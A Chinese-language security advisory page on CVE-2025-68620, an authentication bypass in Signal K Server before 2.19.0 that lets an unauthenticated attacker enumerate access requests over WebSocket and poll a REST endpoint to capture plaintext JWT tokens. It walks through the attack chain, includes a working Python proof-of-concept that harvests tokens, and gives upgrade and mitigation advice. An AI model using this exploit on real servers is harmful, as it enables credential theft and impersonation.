IPBUF安全漏洞报告
English
CVE-2025-68620 CVSS 9.1 严重

CVE-2025-68620 Signal K Server JWT认证令牌窃取漏洞

披露日期: 2026-01-01

漏洞信息

漏洞编号
CVE-2025-68620
漏洞类型
身份验证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Signal K Server

相关标签

身份验证绕过JWT令牌窃取WebSocket枚举Signal K ServerCVE-2025-68620CRITICAL

漏洞概述

Signal K Server是一款运行在船舶中央枢纽的服务器应用程序。该漏洞影响2.19.0之前的所有版本,允许攻击者链式利用两个功能来窃取JWT认证令牌,无需任何事先认证。攻击结合了基于WebSocket的请求枚举和未经身份验证的访问请求状态轮询。攻击者可以通过WebSocket连接获取所有缓存的服务器事件,包括包含待处理访问请求详情的ACCESS_REQUEST事件,然后通过未授权的REST端点轮询请求状态,当管理员批准请求后即可在响应中获取JWT令牌明文。这使得攻击者能够完全绕过认证机制,窃取合法设备的凭证。

技术细节

漏洞涉及两个独立但可链式利用的安全缺陷。第一处位于startServerEvents函数,该函数在WebSocket客户端连接时使用serverevents=all查询参数,会遍历并向任何连接的客户端(包括未认证用户)发送app.lastServerEvents中的所有缓存事件,包括ACCESS_REQUEST事件,其中包含请求ID、客户端标识符、描述、请求的权限和IP地址。由于WebSocket连接允许readonly用户(包括allow_readonly为true时的未认证用户),攻击者可获取敏感信息。第二处位于queryRequest函数和对应的REST端点GET /signalk/v1/access/requests/:id,该端点返回完整访问请求状态但不要求认证,使用readonly认证即可访问。当管理员批准请求时,响应中包含以明文形式颁发的JWT令牌。攻击者可以主动创建请求后轮询等待批准,或被动监控WebSocket发现现有请求ID后等待令牌发放。

攻击链分析

STEP 1
步骤1
攻击者通过WebSocket连接到Signal K Server的/signalk/stream端点,使用serverevents=all查询参数
STEP 2
步骤2
服务器向未认证的WebSocket客户端发送所有缓存的服务器事件,包括ACCESS_REQUEST事件
STEP 3
步骤3
攻击者从响应中提取ACCESS_REQUEST的请求ID,或主动创建新的访问请求
STEP 4
步骤4
攻击者向REST端点GET /signalk/v1/access/requests/:id发送请求,在无需认证的情况下获取完整的请求状态
STEP 5
步骤5
当管理员批准该访问请求后,响应中包含JWT令牌的明文,攻击者即可窃取并用于身份冒充

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import websockets import asyncio import requests import json async def exploit_cve_2025_68620(target_url): """ CVE-2025-68620 PoC - Signal K Server JWT Token Theft """ ws_url = target_url.replace('http', 'ws') + '/signalk/stream?serverevents=all' # Step 1: Connect to WebSocket and enumerate access requests print('[+] Connecting to WebSocket endpoint...') try: async with websockets.connect(ws_url) as ws: async for message in ws: data = json.loads(message) if data.get('event') == 'ACCESS_REQUEST': request_id = data.get('data', {}).get('id') print(f'[+] Discovered ACCESS_REQUEST ID: {request_id}') # Step 2: Poll the access request status status_url = f'{target_url}/signalk/v1/access/requests/{request_id}' print(f'[+] Polling request status: {status_url}') response = requests.get(status_url) result = response.json() # Check if token is available (request approved) if 'token' in result: print(f'[+] SUCCESS! JWT Token obtained: {result["token"]}') return result['token'] except Exception as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': target = 'http://target-server:3000' asyncio.run(exploit_cve_2025_68620(target))

影响范围

Signal K Server < 2.19.0

防御指南

临时缓解措施
立即升级到Signal K Server 2.19.0或更高版本。如果无法立即升级,可临时禁用allow_readonly功能,限制WebSocket连接的访问权限,并对访问请求相关端点实施额外的认证检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表